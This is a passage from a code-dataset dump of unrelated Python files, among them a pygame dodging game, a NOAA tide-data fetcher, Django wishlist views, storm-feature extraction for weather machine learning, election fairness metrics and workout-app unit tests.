self.frame_rate:\n self.last_update = current_time\n self.frame += 1\n if self.frame == len(self.explosion_anim[self.ex_type]):\n self.kill()\n #return True\n else:\n center = self.rect.center\n self.image = self.explosion_anim[self.ex_type][self.frame]\n self.rect.center = center \n\n\n # x ---- START SCREEN MENU ---- x\n\ndef menu():\n\n menumusic = pygame.mixer.music.load('Fun Background.mp3')\n pygame.mixer.music.play(loops=-1)\n\n #Background\n background = pygame.image.load('img/bbg.png').convert()\n background_rect = background.get_rect()\n\n #Extra Images for Screen\n \n fire_show = pygame.image.load(path.join(img_dir, 'fire1.png')).convert_alpha()\n fire_show = pygame.transform.scale(fire_show, (24,28))\n \n fire_showw = pygame.image.load(path.join(img_dir, 'fire1.png')).convert_alpha()\n fire_showw = pygame.transform.scale(fire_showw, (24,28))\n\n fire_show = pygame.image.load(path.join(img_dir, 'fire1.png')).convert_alpha()\n fire_show = pygame.transform.scale(fire_show, (24,28))\n\n cat_alt = pygame.image.load(path.join(img_dir, 'cat3.png')).convert_alpha()\n cat_alt = pygame.transform.scale(cat_alt, (45,45))\n\n arrow_keys = pygame.image.load(path.join(img_dir, 'arrows.jpg')).convert_alpha()\n arrow_keys = pygame.transform.scale(arrow_keys, (76,60))\n \n screen.blit(background, background_rect)\n screen.blit(fire_show, (340,203))\n screen.blit(fire_showw, (380, 204))\n screen.blit(fire_showw, (420, 201.4))\n screen.blit(cat_alt, (370, 232))\n screen.blit(arrow_keys, (120, 300))\n\n #Text for Screen \n \n image = pygame.image.load(\"Welcome-to-Swerve-.png\").convert_alpha()\n screen.blit(image, (70,40)) #right.left, up/down\n\n draw_text(screen, \"This single player game is meant to be quick and easy.\", 20, WIDTH/2, HEIGHT/5)\n draw_text(screen, \"Simply avoid the attackers, the red fires, falling from space\", 20, WIDTH/2, HEIGHT/4.2)\n draw_text(screen, \"by moving your player, the blue Manx cat.\", 20, WIDTH/2, HEIGHT/3.6) \n draw_text(screen, \"Use the arrow keys to move your player.\", 18, WIDTH/2, HEIGHT/1.9) \n draw_text(screen, \"You have 3 lives to reachest the highest score possible.\", 18, WIDTH/2, HEIGHT/1.8)\n draw_text(screen, \"There is no pause button.\", 18, WIDTH/2, HEIGHT/1.7)\n draw_text(screen, \"Press [ENTER] to play\", 32, WIDTH/2, HEIGHT/1.4)\n draw_text(screen, \"Press [Q] to quit\", 32, WIDTH/2, HEIGHT/1.3)\n draw_text(screen, \"Special thanks to Karen for guiding me through this entire project, supporting me, and making the process enjoyable.\", 14, WIDTH/2, HEIGHT/1.10)\n draw_text(screen, \"Thank you to my mentor Alma for the constant support and advising me to learn and improve from every opportunity.\", 14, WIDTH/2, HEIGHT/1.07)\n draw_text(screen, \"Thank you to America Needs You for providing me with this and many other countless opportunities while positively impacting our life.\", 14, WIDTH/2, HEIGHT/1.04)\n\n \n pygame.display.update()\n \n while True:\n event = pygame.event.poll()\n if event.type == pygame.KEYDOWN:\n\n if event.key == pygame.K_RETURN:\n break\n elif event.key == pygame.K_q:\n pygame.quit()\n sys.exit()\n elif event.type == QUIT:\n pygame.quit()\n sys.exit()\n\n \n#Load all game graphics\nbackground = pygame.image.load('img/bg.png').convert()\nbackground_rect = background.get_rect()\nplayer_img = pygame.image.load(path.join(img_dir, \"cat3.png\")).convert()\nattacker_img = pygame.image.load(path.join(img_dir, \"fire1.png\")).convert_alpha()\n\n### EXPLOSION SPRITE\nexplosion_anim = {}\nexplosion_anim['lg'] = []\nexplosion_anim['sm'] = []\nfor i in range(3):\n filename = 'regularExplosion0{}.png'.format(i)\n img = pygame.image.load(path.join(img_dir, filename)).convert()\n img.set_colorkey(BLACK)\n img_lg = pygame.transform.scale(img, (75,75))\n explosion_anim['lg'].append(img_lg)\n img_sm = pygame.transform.scale(img, (32,32))\n explosion_anim['sm'].append(img_sm)\n\n\n# Our Sprite Groups\nall_sprites = pygame.sprite.Group()\nattackers = pygame.sprite.Group()\nplayer = Player()\nexplosion = pygame.sprite.Group()\nall_sprites.add(player)\n\nfor i in range(20):\n \n #number of attackers\n a = Attacker()\n all_sprites.add(a)\n attackers.add(a)\n\npygame.time.set_timer(move_event, move_side)\n\nscore = 0\ntopScore = 0\nhope = False\n\n#Game Loop\n\nrunning = True\nshow_menu = True\n\nwhile running:\n score += 1\n #Keep loop running at the right speed\n clock.tick(FPS)\n #process input (events)\n if show_menu:\n menu()\n pygame.time.delay(0)\n pygame.mixer.music.fadeout(1000)\n pygame.mixer.music.load('bgsong.mp3')\n pygame.mixer.music.play(-1)\n show_menu = False \n\n for event in pygame.event.get():\n if event.type == move_event:\n attackers.update()\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_q:\n running = False\n pygame.quit()\n sys.exit()\n if event.type == pygame.QUIT:\n running = False\n\n \n #Updating Sprites\n player.update()\n attackers.update()\n explosion.update()\n \n\n #Check to see if an attacker hits the player\n collisions = pygame.sprite.spritecollide(player, attackers, True, pygame.sprite.collide_circle)\n for hit in collisions:\n expl = Explosion(player.rect.center, 'lg', explosion_anim)\n explosion.add(expl)\n all_sprites.add(expl)\n\n new_attacker = Attacker()\n attackers.add(new_attacker)\n all_sprites.add(new_attacker)\n\n if collisions:\n hope = True\n pygame.time.set_timer(move_event, 0)\n pygame.event.clear()\n\n if len(explosion) == 0 and hope == True:\n hope = False\n pygame.time.set_timer(move_event, move_side)\n\n gameLives -= 1\n\n if gameLives >= 1:\n \n \n pygame.draw.rect(screen, BLUE, (210, 280, 320, 80))\n draw_text(screen, 'You died! You have' + ' ' + str(gameLives) + ' ' + 'lives remaining', 20, 375, 300)\n draw_text(screen, 'The game will restart in' + ' ' + str(3) + ' ' + 'seconds', 20, 380, 320)\n hitsound.play()\n\n \n for attacker in attackers:\n attacker.reset()\n player.reset()\n\n \n if gameLives < 1:\n pygame.draw.rect(screen, GREEN, (194, 185, 396, 280))\n draw_text(screen, 'Game over!', 48, 390, 240)\n draw_text(screen, 'Your final score is:', 28, 390, 310)\n draw_text(screen, str(score - 1) + ' ', 32, 392, 360)\n pygame.mixer.music.pause()\n goversound.play()\n pygame.display.update()\n pygame.time.wait(4000)\n show_menu = True \n \n if score > topScore:\n topScore = score\n \n \n pygame.display.update()\n pygame.event.pump() #not behind by a frame \n pygame.time.wait(3000)\n \n pygame.event.clear()\n \n #Draw / render\n #screen.fill(GREEN)\n screen.blit(background, background_rect)\n all_sprites.draw(screen)\n draw_text(screen, 'Score:' + ' ' + str(score), 18, WIDTH / 2, 5)\n draw_text(screen, 'Top Score:' + ' ' +str(topScore), 18, WIDTH / 2, 28)\n draw_text(screen, 'Lives:' + ' ' +str(gameLives), 18, WIDTH / 2, 50)\n \n \n\n pygame.display.flip()\n\npygame.quit()\n\n","sub_path":"swerve.py","file_name":"swerve.py","file_ext":"py","file_size_in_byte":12793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"238171326","text":"\"\"\"\"\"\nPull data from NOAA sensors:\n1. product: The feature(s) you wish to extract\n2. application:\n3. begin_date: start of date range you wish to pull\n4. end_date: the end of the date range you wish to pull\n5. datum: The feature metric\n6. station: Node location (ID)\n7. time_zone: Date format\n8. units: Metric or enlgish\n9. format: the format of the output file.\n\"\"\"\n\nimport json\nimport os\nimport requests\nimport pandas\nimport sys\n\ndates=[('20180805','20180904'),('20180905','20181004'),('20181005','20181105')] #3 months of data\nURL = 'https://tidesandcurrents.noaa.gov/api/datagetter?'\n#print('Date Time, Prediction')\ndef api_request(url, parameters):\n URL='https://tidesandcurrents.noaa.gov/api/datagetter?'\n response = requests.get(url, params=parameters)\n return response\n\nfor tuple in dates:\n #print(tuple[0])\n parameters={\n 'product': 'air_pressure', #can change product to predictions for the NOAA predictions\n 'application':'NOS.COOPS.TAC.WL',\n 'begin_date':tuple[0],\n 'end_date':tuple[1],\n 'datum':'MLLW',\n 'station':'1612480',\n 'time_zone' : 'lst',\n 'units' : 'english',\n 'format' : 'csv'\n }\n\n response=api_request(URL, parameters)\n print(response.text)\n\n #final_csv.append(response.text)\n\n#print(final_csv)\n\n\n","sub_path":"scripts/NOAAapi.py","file_name":"NOAAapi.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"62755383","text":"'''\nbuttsworth : a django chatterbot for David Buttsworth\nCopyright (C) 2015 Gregory Martin\n@yro 12.2015\n\nTanimoto / Binary Condition\n'''\nfrom __future__ import division\n\nimport os\nimport sys\nfrom math import sqrt\n\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nfrom env import *\n\n\n'''Let's take these in as lists'''\ndef single_response_tanimoto(input_text, sample_response):\n\n # print '* single_response *'\n common = 0\n\n for a in input_text:\n for b in sample_response:\n if a.lower() == b.lower():\n common += 1\n if common == 0:\n return 0.0\n else:\n tan_coeff = float(common) / float(len(input_text) + len(sample_response) - common)\n return tan_coeff\n\n\nif __name__ == '__main__':\n single_response_tanimoto(\n input_text='', \n sample_response=''\n )\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"training/tanimoto_corr.py","file_name":"tanimoto_corr.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"653383391","text":"from django.shortcuts import redirect, render\nfrom home.models import *\nfrom .models import Wishlist\nfrom home.views import BaseView\nfrom django.contrib.auth.decorators import login_required\n\n# Create your views here.\n# -----------------Wishlist----------------------\n@login_required\ndef add_to_wishlist(request, slug):\n username = request.user.username\n\n data = Wishlist.objects.create(\n username=username,\n items=Item.objects.filter(slug=slug)[0],\n slug=slug\n )\n data.save()\n return redirect('wishlist:my_wishlist')\n\n\nclass WishlistView(BaseView):\n def get(self, request):\n username = request.user.username\n self.views['my_wishlist'] = Wishlist.objects.filter(username=username, checkout=False,)\n return render(request, 'wishlist.html', self.views)\n\n\ndef delete_wishlist(request, slug):\n username = request.user.username\n Wishlist.objects.filter(username=username, checkout=False, slug=slug).delete()\n return redirect('wishlist:my_wishlist')","sub_path":"wishlist/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"469567663","text":"import os \n\ndef GetName():\n for root ,dirs,files in os.walk('.'):\n for file in files :\n path = os.path.join(root,file)\n print('%s\\t %s'%(file,path))\n\nif __name__ == '__main__':\n GetName() \n","sub_path":"Python/learnpython/oop/finddir2.py","file_name":"finddir2.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"578488426","text":"import numpy as np\nimport itertools\nimport sys\nsys.path.append( '/home/monte.flora/NEWSeProbs/misc_python_scripts')\nfrom scipy.spatial import cKDTree\n\n\nclass StormBasedFeatureEngineering:\n '''\n StormBasedFeatureEngineering handles extraction for both patches and storm-based \n '''\n def __init__( self, grid_size = 24, patches=False, ROI_STORM = 7, ROI_ENV = 15 ): \n self.ROI_STORM = ROI_STORM \n self.ROI_ENV = ROI_ENV \n if patches:\n self.grid_size = grid_size\n self.delta = int(grid_size/2)\n self.dist_from_edge = 6\n self.BUFFER = self.delta + self.dist_from_edge\n else:\n self.BUFFER = ROI_STORM + 1\n\n def extract_spatial_features_from_object( self, input_data, \n forecast_objects, \n good_object_labels,\n mem_idx=None,\n only_mean=False ):\n ''' Extract intra-storm state features for machine learning \n \n ------------------\n Args:\n input_data, \n Returns:\n features, shape = ( n_objects, n_var*n_stats )\n '''\n stat_funcs, stat_func_names = self._set_of_stat_functions(only_mean=only_mean)\n num_of_objects = len(good_object_labels)\n var_list = list( input_data.keys() )\n num_of_features = len(var_list) * len(stat_funcs)\n num_of_spatial_stats = len(stat_funcs)\n \n #n_object, n_var*n_stats\n feature_names = [ ]\n for n, atuple in enumerate( list(itertools.product(var_list, range(num_of_spatial_stats)))):\n feature_names.append(atuple[0]+stat_func_names[atuple[1]]) \n\n features = np.zeros(( num_of_objects, len(var_list)*len(stat_funcs) ))\n if len(np.unique(forecast_objects)) == 1 or num_of_objects == 0:\n return features\n else:\n storm_points = {label: np.where( forecast_objects == label ) for label in good_object_labels}\n for i, object_label in enumerate( good_object_labels): \n for n, atuple in enumerate(list( itertools.product(var_list, range(num_of_spatial_stats)))): \n var = atuple[0]; k = atuple[1]\n if mem_idx is not None:\n data = input_data[var][mem_idx,:,:]\n else:\n data = input_data[var]\n features[i, n] = self._generic_function( stat_funcs[k][0], \n input_data=data[storm_points[object_label]],\n parameter=stat_funcs[k][1]\n )\n \n return features, feature_names #dim = (n_objects, n_var*n_stats) \n\n\n\n def extract_amplitude_features_from_object( self,\n input_data, \n forecast_objects,\n good_object_labels):\n ''' Extract ensemble amplitude statistics from object '''\n func_set = [ (np.nanstd, 'ddof') , (np.nanmean,None)]\n func_names = [ '_ens_std_of_90th', '_ens_mean_of_90th', ]\n num_of_objects = len(good_object_labels)\n var_list = list( input_data.keys() )\n num_of_features = len(var_list) * len(func_set)\n features = np.zeros(( num_of_objects, len(var_list)*len(func_set) ))\n\n feature_names = [ ]\n for n, atuple in enumerate( list(itertools.product(var_list, range(len(func_set))))):\n feature_names.append(atuple[0]+func_names[atuple[1]]) \n\n if len(np.unique(forecast_objects)) == 1 or num_of_objects == 0:\n return features\n else:\n storm_points = {label: np.where( forecast_objects == label ) for label in good_object_labels}\n for i, object_label in enumerate( good_object_labels):\n for n, atuple in enumerate(list( itertools.product(var_list, range(len(func_set))))):\n var = atuple[0]; k = atuple[1]\n data = input_data[var]\n # NE, NY, NX\n amplitudes = self.ensemble_amplitudes( data = data, storm_points=storm_points, object_label=object_label)\n features[i, n] = self._generic_function( func_set[k][0],\n input_data=amplitudes,\n parameter=func_set[k][1]\n )\n\n return features, feature_names #dim = (n_objects, n_var*n_stats) \n \n \n def ensemble_amplitudes(self, data, storm_points, object_label):\n '''\n ---------\n Args:\n data, array of shape (NE, NY, NX)\n '''\n y_set = storm_points[object_label][0]\n x_set = storm_points[object_label][1]\n amplitudes = np.nanpercentile( data[:,y_set,x_set], 90, axis=1 ) \n\n return amplitudes\n\n\n\n def _extract_storm_features_in_circle( self, input_data, x_object_cent, y_object_cent ): \n ''' Extract intra-storm state features for machine learning '''\n x = np.arange(input_data.shape[-1])\n y = np.arange(input_data.shape[-2])\n stat_functions = self._set_of_stat_functions( )\n object_centroids = list(zip( y_object_cent, x_object_cent ))\n obj_strm_data = np.zeros(( len(object_centroids), input_data.shape[0] * len(stat_functions) ))\n for i, obj_cent in enumerate( object_centroids ): \n rho, phi = self._cart2pol( x[np.newaxis,:]-obj_cent[1], y[:,np.newaxis]-obj_cent[0] ) \n storm_points = np.where(rho <= self.ROI_STORM )\n for j, k in enumerate( list(itertools.product( range(input_data.shape[0]), range(len(stat_functions)) ))):\n v = k[0] ; s = k[1]\n temp_data = input_data[v,:,:]\n func_set = stat_functions[s]\n obj_strm_data[i, j] = self._generic_function( func=func_set[0], input_data=temp_data[storm_points], parameter=func_set[1])\n \n return obj_strm_data #dim = (n_objects, n_var*n_stats) \n\n def _extract_environment_features_in_arcregion( self, input_data, x_object_cent, y_object_cent, avg_bunk_v_per_obj, avg_bunk_u_per_obj ):\n ''' Extract storm-inflow environment features for machine learning '''\n x = np.arange(input_data.shape[-1])\n y = np.arange(input_data.shape[-2])\n stat_functions = self._set_of_stat_functions( )\n object_centroids = list(zip( y_object_cent, x_object_cent ))\n obj_env_data = np.zeros(( len(object_centroids), input_data.shape[0] * len(stat_functions) ))\n for i, obj_cent in enumerate( object_centroids ): \n rho, phi = self._cart2pol( x[np.newaxis,:]-obj_cent[1], y[:,np.newaxis]-obj_cent[0] )\n bunk_u = avg_bunk_u_per_obj[i]\n bunk_v = avg_bunk_v_per_obj[i]\n env_points = self._find_storm_inflow_region( bunk_u, bunk_v, rho, phi )\n for j, k in enumerate( list(itertools.product( range(input_data.shape[0]), range(len(stat_functions)) ))):\n v = k[0] ; s = k[1]\n temp_data = input_data[v,:,:]\n func_set = stat_functions[s]\n obj_env_data[i, j] = self._generic_function( func=func_set[0], input_data=temp_data[env_points], parameter=func_set[1])\n \n return obj_env_data #dim = (n_objects, n_var*n_stats) \n\n def extract_storm_patch( self, input_data, x_object_cent, y_object_cent ):\n ''' Extract the patches centered on the obj_centers '''\n object_centroids = list(zip( y_object_cent, x_object_cent ))\n storm_patches = np.zeros(( len(object_centroids), self.grid_size, self.grid_size, np.shape(input_data)[0] ))\n # print storm_patches.shape (n_objects, 24, 24, 13)\n for i, obj_cent in enumerate( object_centroids ):\n obj_y = obj_cent[0]\n obj_x = obj_cent[1]\n for v in range( np.shape(input_data)[0] ):\n storm_patches[i, :,:, v] = input_data[ v, obj_y-self.delta:obj_y+self.delta, obj_x-self.delta:obj_x+self.delta ]\n\n return storm_patches \n\n def _find_storm_inflow_region( self, bunk_v, bunk_u, rho, phi ):\n ''' Find storm inflow region using the average intra-storm bunker's motion vector '''\n # Bunker's motion in degrees\n left = ( np.arctan2( bunk_v, bunk_u ) * (180./np.pi) ) + 10.\n right = left - 110. \n inflow_indices = np.where((phi <= left )& (phi >= right)&(rho <= self.ROI_ENV ))\n \n return inflow_indices \n\n def _cart2pol( self, x, y ):\n ''' Converts from cartesian coordinates to polar coordinates ''' \n rho = np.sqrt(x**2 + y**2)\n phi = np.arctan2(y, x) * (180./np.pi)\n return(rho, phi) \n\n def _remove_objects_near_boundary(self, x_obj_cent, y_obj_cent, NY, NX):\n \"\"\" Removes objects with centroid too close to the domain boundaries \n The buffer zone is a combination of a static distance from the boundary and size of the storm path \"\"\"\n xlims = np.arange(self.BUFFER, NX - self.BUFFER +1)\n ylims = np.arange(self.BUFFER, NY - self.BUFFER +1)\n\n good_idx = [ ]\n for i, centers in enumerate( list(zip(x_obj_cent, y_obj_cent))): \n if (centers[1] in ylims and centers[0] in xlims): \n good_idx.append( i ) \n \n return good_idx\n\n def _set_of_stat_functions( self, names=True, only_mean=False ):\n \"\"\" Function returns a list of function objects \"\"\"\n func_set = [ (np.nanmean,None), (np.nanpercentile, 10), (np.nanpercentile, 90) ]\n func_names = [ '_spatial_mean', '_spatial_10th', '_spatial_90th' ] \n \n if only_mean:\n if names:\n return [(np.nanmean, None)], [ '_spatial_mean']\n else:\n return [(np.nanmean, None)]\n else:\n if names:\n return func_set, func_names\n else:\n return func_set\n\n def _generic_function( self, func , input_data, parameter=None ):\n \"\"\" A function meant to implement the various function objects in 'set_of_stat_functions'\"\"\"\n if parameter == 'ddof':\n return func( input_data, ddof=1 )\n elif parameter is not None:\n return func( input_data, parameter)\n else:\n return func( input_data )\n\n\n\n\n","sub_path":"extraction/StormBasedFeatureEngineering.py","file_name":"StormBasedFeatureEngineering.py","file_ext":"py","file_size_in_byte":10641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"347022519","text":"import statistics\n\n\ndef mean_median(election_results):\n \"\"\"\n Computes the Mean-Median score for the given ElectionResults.\n A positive value indicates an advantage for the first party listed\n in the Election's parties_to_columns dictionary.\n \"\"\"\n first_party_results, *others = election_results.percents_for_party.values()\n data = list(first_party_results.values())\n\n return statistics.median(data) - statistics.mean(data)\n\n\ndef mean_thirdian(election_results):\n \"\"\"\n Computes the Mean-Median score for the given ElectionResults.\n A positive value indicates an advantage for the first party listed\n in the Election's parties_to_columns dictionary.\n \"\"\"\n first_party_results, *others = election_results.percents_for_party.values()\n data = list(first_party_results.values())\n\n thirdian_index = round(len(data) / 3)\n thirdian = sorted(data)[thirdian_index]\n\n return thirdian - statistics.mean(data)\n\n\ndef efficiency_gap(election_results):\n \"\"\"\n Computes the efficiency gap for the given ElectionResults.\n A positive value indicates an advantage for the first party listed\n in the Election's parties_to_columns dictionary.\n \"\"\"\n party1, party2 = election_results.totals_for_party.values()\n wasted_votes_by_part = {\n part: wasted_votes(party1[part], party2[part]) for part in party1\n }\n total_votes = sum(party1.values()) + sum(party2.values())\n numerator = sum(waste2 - waste1 for waste1, waste2 in wasted_votes_by_part.values())\n return numerator / total_votes\n\n\ndef wasted_votes(party1_votes, party2_votes):\n \"\"\"\n Computes the wasted votes for each party in the given race.\n :party1_votes: the number of votes party1 received in the race\n :party2_votes: the number of votes party2 received in the race\n \"\"\"\n total_votes = party1_votes + party2_votes\n if party1_votes > party2_votes:\n party1_waste = party1_votes - total_votes / 2\n party2_waste = party2_votes\n else:\n party2_waste = party2_votes - total_votes / 2\n party1_waste = party1_votes\n return party1_waste, party2_waste\n","sub_path":"rundmcmc/scores.py","file_name":"scores.py","file_ext":"py","file_size_in_byte":2124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"30372853","text":"from django.http import HttpResponseRedirect, HttpResponse\nfrom mosu.home.models import Union\nfrom mosu.home.models import get_or_none\n\n\ndef single_photo(request):\n if request.method == 'POST':\n union_id = int(request.POST.get(\"union_id\",0))\n union = get_or_none(Union, id=union_id)\n\n if union:\n union.icon = request.FILES['imgInp']\n union.save()\n return HttpResponseRedirect('/main/')\n return HttpResponseRedirect('/main/')","sub_path":"mosu/utils/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"191689200","text":"import sys\nimport os\nsys.path.insert(0, '/home/russ/Desktop/workoutApp/api/')\n\nimport unittest\nfrom backend.controller import userController, DatesController\nfrom model import users,workouts\nfrom backend import create_app\nimport unittest\nfrom datetime import datetime\nfrom flask_api import status\nimport json\n\n\n\nclass ScheduleWorkout(unittest.TestCase):\n\tdef setUp(self):\n\t\tapp = create_app()\n\t\tapp.config['TESTING'] = True\n\t\tself.app = app.test_client()\n\t\tapp.app_context().push()\n\t\tusers.db.create_all()\n\t\t\n\tdef tearDown(self):\n\t\tusers.db.session.remove()\n\t\tusers.db.drop_all()\n\t\n\t# checks if user was created\n\tdef test_scheduleNewWorkout(self):\n\t\tnewUser = {\n\t\t\t\"username\": \"bob123\",\n\t\t\t\"email\": \"bob123@email.com\",\n\t\t\t\"password\": \"1234567\",\n\t\t\t\"fname\": \"Bob\",\n\t\t\t\"lname\": \"TheBuilder\",\n\t\t\t\"gender\": \"male\",\n\t\t\t\"height\": 5.6,\n\t\t\t\"heightUnit\": \"ft\",\n\t\t\t\"weight\": 156.0,\n\t\t\t\"weightUnit\": \"lb\",\n\t\t\t\"bmi\": 20.0 \n\t\t}\n\n\t\tnewWorkout = {\n\t\t\t\"username\" : \"bob123\", \n\t\t\t\"date\": \"27-2-2018\", \n\t\t\t\"time\": \"2:00pm\", \n\t\t\t\"workout\":\"chest\"\n\t\t} \n\n\t\tsets = [{\n\t\t\t\"username\" : \"bob123\", \n\t\t\t\"date\": \"27-2-2018\", \n\t\t\t\"time\": \"2:00pm\", \n\t\t\t\"workout\":\"chest\",\n\t\t\t\"exerciseName\" : \"chest Press\",\n\t\t\t\"tag\": \"weight lifting\",\n\t\t\t\"bodyPart\" : [\"chest\",\"tricipes\"],\n\t\t\t\"setNum\" : 1,\n\t\t\t\"reps\" : 10,\n\t\t\t\"weight\" : 50,\n\t\t\t\"weightUnit\" : \"lb\"\n\n\t\t}]\n\n\t\tuserController.createUser(newUser)\n\t\tDatesController.scheduleNewWorkout(newWorkout)\n\t\tDatesController.enterExercise(sets[0])\n\t\tDatesController.enterSetWeight(sets)\n\t\t\n\t\tuser = users.User.query.filter_by(username = 'bob123').first()\n\t\tcheckWorkout = workouts.WorkoutName.query.filter_by(name = \"chest\").first()\n\t\tcheckDate = workouts.Datetime.query.filter_by(datetime = datetime.strptime(\"27-2-2018\" + \" \" + \"2:00pm\", '%d-%m-%Y %I:%M%p')).first()\n\t\tcheckDateJoin = workouts.DateUserWorkoutJoin.query.filter_by(user_id = user.id).first()\n\t\tgetExercise = workouts.Exercise.query.filter_by(name = \"chest Press\").first()\n\t\texerciseJoin = workouts.ExerciseDateJoin.query.filter_by(dateJoin_id = checkDateJoin.id, exercise_id = getExercise.id).first()\n\t\t\n\t\tgetPart1 = workouts.BodyPart.query.filter_by(name = \"chest\").first()\n\t\tgetPart2 = workouts.BodyPart.query.filter_by(name = \"tricipes\").first()\n\t\tgetBodyExerciseJoin = workouts.BodyPartExerciseJoin.query.filter_by(exercise_id = getExercise.id, bodyPart_id =getPart1.id).first()\n\t\t\n\n\t\tself.assertTrue(getExercise is not None)\n\t\t\n\t\tself.assertTrue(checkDateJoin is not None)\n\t\tself.assertTrue(getExercise is not None)\n\t\tself.assertTrue(getExercise.name == \"chest Press\")\n\t\tself.assertTrue(exerciseJoin is not None)\n\t\tself.assertTrue(getPart1.name == \"chest\")\n\t\tself.assertTrue(getPart2.name == \"tricipes\")\n\t\tself.assertTrue(getBodyExerciseJoin is not None)\n\n\nclass newExercise(unittest.TestCase):\n\tdef setUp(self):\n\t\tapp = create_app()\n\t\tapp.config['TESTING'] = True\n\t\tself.app = app.test_client()\n\t\tapp.app_context().push()\n\t\tusers.db.create_all()\n\t\t\n\tdef tearDown(self):\n\t\tusers.db.session.remove()\n\t\tusers.db.drop_all()\n\t\n\t# checks if user was created\n\tdef test_newExercise(self):\n\t\texercise = {\n\t\t\t\"exerciseName\" : \"chest press\",\n\t\t\t\"tag\" : \"weight lifting\",\n\t\t\t\"bodyPart\" : [\"chest\"]\n\t\t}\n\n\t\tDatesController.newExercise(exercise)\n\t\tgetExercise = workouts.Exercise.query.filter_by(name = \"chest Press\").first()\n\n\t\tgetPart1 = workouts.BodyPart.query.filter_by(name = \"chest\").first()\n\t\tgetBodyExerciseJoin = workouts.BodyPartExerciseJoin.query.filter_by(exercise_id = getExercise.id, bodyPart_id =getPart1.id).first()\n\n\t\tself.assertTrue(getExercise is not None)\n\t\tself.assertTrue(getExercise.name == \"chest press\")\n\t\tself.assertTrue(getPart1.name == \"chest\")\n\t\tself.assertTrue(getBodyExerciseJoin is not None)\n\n\nclass newExerciseRoutes(unittest.TestCase):\n\tdef setUp(self):\n\t\tapp = create_app()\n\t\tapp.config['TESTING'] = True\n\t\tself.app = app.test_client()\n\t\tapp.app_context().push()\n\t\tusers.db.create_all()\n\t\t\n\tdef tearDown(self):\n\t\tusers.db.session.remove()\n\t\tusers.db.drop_all()\n\t\n\t# checks if user was created\n\tdef test_newExerciseRoutes(self):\n\t\texercise = {\n\t\t\t\"exerciseName\" : \"chest press\",\n\t\t\t\"tag\" : \"weight lifting\",\n\t\t\t\"bodyPart\" : [\"chest\"]\n\t\t}\n\n\t\t# DatesController.newExercise(exercise)\n\t\t\n\n\t\t\n\t\tresponse = self.app.post('/date/new/exercise',data=json.dumps(exercise), content_type='application/json', follow_redirects=True)\n\t\t\n\t\tgetExercise = workouts.Exercise.query.filter_by(name = \"chest Press\").first()\n\t\tgetPart1 = workouts.BodyPart.query.filter_by(name = \"chest\").first()\n\t\tgetBodyExerciseJoin = workouts.BodyPartExerciseJoin.query.filter_by(exercise_id = getExercise.id, bodyPart_id =getPart1.id).first()\n\t\tcheckUser = user = users.User.query.filter_by(username = 'bob123').first()\n\t\t\n\t\tself.assertTrue(response.status_code == 201)\n\t\tself.assertTrue(checkUser is None)\n\t\tself.assertTrue(getExercise is not None)\n\t\tself.assertTrue(getExercise.name == \"chest press\")\n\t\tself.assertTrue(getPart1.name == \"chest\")\n\t\tself.assertTrue(getBodyExerciseJoin is not None)\n\nif __name__ == '__main__':\n\tunittest.main() \n","sub_path":"api/backend/controller/Tests/bodyPartsTest.py","file_name":"bodyPartsTest.py","file_ext":"py","file_size_in_byte":5006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"452933097","text":"from django.db import models\nfrom app.repositorio.models import Repositorio\n\n\nclass Log(models.Model):\n\n repositorio = models.ForeignKey(Repositorio, on_delete=models.CASCADE, null=False, blank=False)\n commit = models.CharField(\"Commit\", max_length=45, null=False, blank=False)\n rasch = models.CharField(\"Rasch\", max_length=45, null=False, blank=False)\n created_at = models.DateTimeField(\"Criado em\", auto_now_add=True, null=False, blank=False)\n updated_at = models.DateTimeField(\"Atualizado em\", auto_now=True)\n \n \n class Meta:\n verbose_name = 'Log'\n verbose_name_plural = 'Logs'\n ordering = ('created_at',)\n\n\n def __str__(self):\n return self.commit","sub_path":"app/logs/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"229324972","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# @Time : 18-8-12 下午4:44\n# @Author : Shark\n# @File : clinet.py\n# @Software: PyCharm\nfrom flask import request\n\nfrom app.libs.enums import ClientTypeEnum\nfrom app.libs.error_code import ClientTypeError\nfrom app.libs.redprint import RedPrint\nfrom app.validatprs.forms import ClientForm, UserEmailForm\n\napi = RedPrint('client')\n\n\n@api.route('/register', method=['POST'])\ndef create_client():\n data = request.json\n form = ClientForm(data=data)\n if form.validate():\n promise = {\n ClientTypeEnum.USER_EMAIL: __register_user_by_email\n }\n promise[form.type.data]()\n\n else:\n raise ClientTypeError()\n\n return '添加成功'\n\n\ndef __register_user_by_email():\n form = UserEmailForm(data=request.json)\n if form.validate():\n User.register_by_email(form.nickname.data, form.account.data, form.secret.data)\n","sub_path":"flask_/api/app/api/v1/clinet.py","file_name":"clinet.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"57948341","text":"import pendulum\nfrom app.api import api\nfrom flask import request, jsonify\nfrom flask_login import 